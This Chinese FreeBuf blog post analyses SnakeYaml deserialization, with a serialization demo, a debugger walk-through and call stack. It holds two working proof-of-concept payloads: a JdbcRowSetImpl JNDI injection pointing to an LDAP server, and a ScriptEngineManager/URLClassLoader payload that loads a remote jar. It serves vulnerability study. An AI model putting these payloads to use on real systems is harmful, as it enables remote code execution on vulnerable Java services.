freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SnakeYaml序列化与反序列化
明明白白我的心 2023-07-06 00:26:20 137737
所属地 四川省

前言

yaml简称yml,什么是yml,官方解释说,yml不是标记性语言,YAML 是一种人性化的数据序列化,适应所有编程语言的语言。

SnakeYaml就是用于解析YAML,序列化以及反序列化的第三方框架,解析yml的三方框架有很多,SnakeYaml,jYaml,Jackson等,但是不同的工具功能还是差距较大。

SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。那么在对象与字符串转换的实现中其实与FastJson和Jaskson等组件一样使用了(非原生)序列化/反序列化。

简介

User类

public class User {

    String name;
    int age;

    public User() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("User.getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("User.setAge");
        this.age = age;
    }
}

序列化与反序列化demo

public class Test {
    public static void main(String[] args) throws Exception{
        serialize();
        unserialize();
    }
    public static void serialize(){
        User user = new User();
        user.setName("daneldeng");
        user.setAge(25);
        Yaml yaml = new Yaml();
        String str = yaml.dump(user);
        System.out.println(str);
    }
    public static void unserialize(){
        String str1 = "!!User {age: 25, name: daneldeng}";
        String str2 = "age: 25\n" +
                "name: daneldeng";
        Yaml yaml = new Yaml();
        yaml.load(str1);
        yaml.loadAs(str2, User.class);
    }
}

简单的JNDI注入测试

public class YamlTest {
    public static void main(String[] args) throws Exception{
        Yaml yaml = new Yaml();
        yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/thc3no, autoCommit: true}");
    }
}

image

由分析可知SnakeYaml利用方式与fastjson的利用方式相似,!!类似于fastjson中的@type用于指定反序列化的全类名。

漏洞分析

静态调试分析JNDI流程。

调用重载方法, 实例化StreamReader对象。
image

image

跟进 getSingleData方法,其调用 BaseConstructor#constructDocument方法并传入Node对象, 其包含了解析的YAML字符串信息。
image

这是封装了的node对象。
image

这是封装了的composer对象。
image

下面是跟随着一路封装Node对象的过程。
image

image

image

一直到跟进Constructor$ConstructMapping#constructJavaBean2ndStep中, property.set是最为关键的一步。
image

image

图中的getWriteMethod方法会返回属性对应的setter方法的Method对象(), 通过调用Method对象的invoke方法即实现了调用JdbcRowSetImpl的setAutoCommit方法。

后面就是基本的JNDI注入的过程了,就不详细分析了。
调用栈

connect:623, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:6, YamlTest

SPI

SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

也就是,我们在META-INF/services下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类。

SPI与ScriptEngineManager

poc

import org.yaml.snakeyaml.Yaml;

public class SPInScriptEngineManager {
    public static void main(String[] args) throws Exception{
        String payload = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:9999/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

执行结果:
image

总结

SnakeYaml和Fastjson有很多相似的点,都是通过反序列化调用特定类的特定函数来进行触发,并对函数的参数赋值,触发JNDI或者是使用SPI加载远程Jar包或class恶意类。

参考

https://paper.seebug.org/1657/#_1

# web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 明明白白我的心 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
明明白白我的心 LV.3
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 0 关注者
Xstream历史漏洞复现
2023-07-05
log4j2利用分析与修复
2023-05-15
shiro结合CB与CC
2023-05-10
文章目录